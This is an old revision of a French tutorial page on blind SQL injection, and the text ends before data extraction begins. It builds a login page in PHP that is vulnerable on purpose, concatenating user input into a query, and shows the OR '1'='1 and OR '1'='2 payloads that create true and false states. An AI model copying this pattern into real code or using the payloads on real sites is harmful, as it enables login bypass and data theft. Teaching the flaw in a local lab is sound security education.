Ceci est une ancienne révision du document !
On considère, la plus part du temps, qu'une Injection SQL est blind lorsque celle ci ne génère uniquement que deux états. Un état VRAI et un état FAUX. Si vous n'avez aucune idée de comment fonctionne une Injection SQL, il est conseillé de lire cet article : Injection SQL.
Nous utiliserons une page de connexion classique. Vous trouverez ci-dessous le code SQL et PHP permettant de mettre en œuvre la simulation.
On considère aussi que les magic_quotes ne sont pas activées.
-- -- Structure de la table `users` -- CREATE TABLE `users` ( `id` INT(11) NOT NULL AUTO_INCREMENT, `name` VARCHAR(255) NOT NULL, `password` VARCHAR(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- Contenu de la table `users` -- INSERT INTO `users` VALUES(1, 'administrateur', 'SuperPass');
<?php mysql_connect("localhost","root","root"); mysql_select_db("sqli"); $user = 0; if(isset($_GET['user']) and isset($_GET['pass'])) { $user = mysql_query("SELECT * FROM users WHERE name='".$_GET['user']."' AND password='".$_GET['pass']."' ") or die (mysql_error()); $user = mysql_num_rows($user); } if($user) { echo "Welcome!"; } else { ?> <form action="" method="get"> <p><label for="user">User :</label><input type="text" name="user" value="" id="user"></p> <p><label for="pass">Pass :</label><input type="text" name="pass" value="" id="pass"></p> <p><label for="submit"></label><input type="submit" name="submit" value="Connexion →" id="submit"> </p> </form> <?php } ?>
Afin d'exploiter la Blind SQL Injection il est nécessaire d'arriver à générer deux états distincts. De façon simple, nous allons utiliser la clause OR.
http://localhost/connexion.php?user=user&pass=pass' OR '1'='1
Avec cette requête nous obtenons bien un Welcome!
. En effet, la requête SQL s'est transformée ainsi :
SELECT * FROM users WHERE name='user' AND password='pass' OR '1'='1'
Cette requête enverra toujours au moins un résultat, 1 est, et restera, égal à 1 ! Si maintenant nous faisons une requête du genre :
http://localhost/connexion.php?user=user&pass=pass' OR '1'='2
Nous ne nous connecterons jamais, 1 est, et restera, différent de 2.
Comme nous le voulions, les deux états sont disponible : VRAI et FAUX. Il ne reste plus qu'à faire ça avec des chaines de caractères intéressantes